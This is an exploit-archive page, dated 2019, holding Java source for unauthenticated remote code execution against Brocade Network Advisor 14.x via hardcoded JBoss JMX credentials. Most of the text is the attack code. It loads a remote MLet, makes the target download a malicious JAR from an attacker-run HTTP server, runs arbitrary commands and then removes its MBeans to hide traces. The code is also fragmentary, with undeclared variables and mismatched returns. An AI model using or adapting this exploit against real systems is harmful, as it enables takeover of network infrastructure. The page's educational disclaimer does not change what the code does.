Exploits / Vulnerability Discovered : 2019-05-21 |
Type : webapps |
Platform : java
This exploit / vulnerability Brocade network advisor 14.4.1 unauthenticated remote code execution is for educational purposes only and if it is used you will do on your own risk!
Version:
Tested on Brocade Network Advisor 14.X.X versions. Other may also be affected.
Tested on EMC Connectrix Manager Converged Network Edition 14.4.1. Other may also be affected.
IBM Network Advisor seems to also be affected.
Info: Exploit uses hardcoded and undocumented credentials for JBoss JMX to execute arbitrary command on system.
*/
public static void main(String[] args) {
try {
if (args.length < 3) {
showHelp();
}
tspwd = "changeit"; // default Java keystore password
host = args[0].split(":")[0]; // IP of BNA
port = Integer.parseInt(args[0].split(":")[1]); // HTTPS port of BNA
System.out.println("[+] Checking certificate.");
SSLSocket socket = (SSLSocket) factory.createSocket(host, port);
socket.setSoTimeout(10000);
try {
socket.startHandshake();
socket.close();
System.out.println("[+] Certificate is already trusted.");
return true;
} catch (SSLException e) {
// e.printStackTrace(System.out); // uncomment to see what SSL error occured
}
X509Certificate[] chain = tm.chain;
if (chain == null) {
System.out.println("[-] Failed to obtain certificate. Connection to JMX server may fail.");
return false;
}
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
MessageDigest sha1 = MessageDigest.getInstance("SHA1");
MessageDigest md5 = MessageDigest.getInstance("MD5");
for (int i = 0; i < chain.length; i++) {
X509Certificate cert = chain[i];
sha1.update(cert.getEncoded());
md5.update(cert.getEncoded());
}
X509Certificate cert = chain[0];
String alias = host;
ks.setCertificateEntry(alias, cert);
OutputStream out = new FileOutputStream(path);
ks.store(out, tspwd.toCharArray());
out.close();
System.out.println("[+] Added certificate to " + path + " using alias '" + alias + "'");
// connect to BNA website
System.out.println("[+] Connecting to BNA website.");
URL url = new URL("https://" + target + "/dcm-client/dcmclient.jnlp");
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("GET");
BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer content = new StringBuffer();
while ((inputLine = in .readLine()) != null) {
content.append(inputLine);
} in .close();
con.disconnect();
if (evil_bean == null) {
ObjectInstance oi = null;
ObjectName mletObjName = new ObjectName(OBJECTNAMEA);
ObjectName mletLoaderName = new ObjectName(OBJECTNAMEB);
System.out.println("[+] Registering MLet class.");
try {
oi = m.createMBean("javax.management.loading.MLet", mletLoaderName);
} catch (javax.management.InstanceAlreadyExistsException e) {
oi = m.getObjectInstance(new ObjectName(OBJECTNAMEB));
}
System.out.println("[+] MLet class successfully registered.");
System.out.println("[+] Downloading and registering custom class.");
Object res = m.invoke(oi.getObjectName(), "getMBeansFromURL", new Object[] {
String.format("http://%s:%d/mlet/", localIP, localPort)
}, new String[] {
String.class.getName()
});
HashSet res_set = ((HashSet) res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception) {
throw ((Exception) nextObject);
}
evil_bean = ((ObjectInstance) nextObject);
}
System.out.println("[+] Custom class successfully registered.");
System.out.println("[+] Running command.\n");
ObjectName plok = new ObjectName(OBJECTNAMEA);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[] {
command
}, new String[] {
String.class.getName()
});
System.out.println("Result:\n" + result + "\n");
// unregister custom MBeans
System.out.println("[+] Cleaning up JMX.");
for (ObjectInstance x: m.queryMBeans(null, null)) {
if (x.getObjectName().toString().startsWith("BNASecurity")) {
m.unregisterMBean(x.getObjectName());
}
}
for (ObjectInstance x: m.queryMBeans(null, null)) {
if (x.getObjectName().toString().startsWith("BNASupport")) {
m.unregisterMBean(x.getObjectName());
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
static class MLetHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String response = String.format("<HTML><MLET CODE=%s ARCHIVE=%s NAME=%s CODEBASE=http://%s:%d/></MLET></HTML>", EVILCLASS, JARNAME, OBJECTNAMEA, localIP, localPort);
System.out.println("[+] Received reverse connection for HTTP page.");
t.sendResponseHeaders(200, response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
static class JarHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
System.out.println("[+] Received reverse connection for JAR file.");
File file = new File(JARNAME);
byte[] bytearray = new byte[(int) file.length()];
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
bis.read(bytearray, 0, bytearray.length);
t.sendResponseHeaders(200, file.length());
OutputStream os = t.getResponseBody();
os.write(bytearray, 0, bytearray.length);
os.close();
}
}
private static final char[] HEXDIGITS = "0123456789abcdef".toCharArray();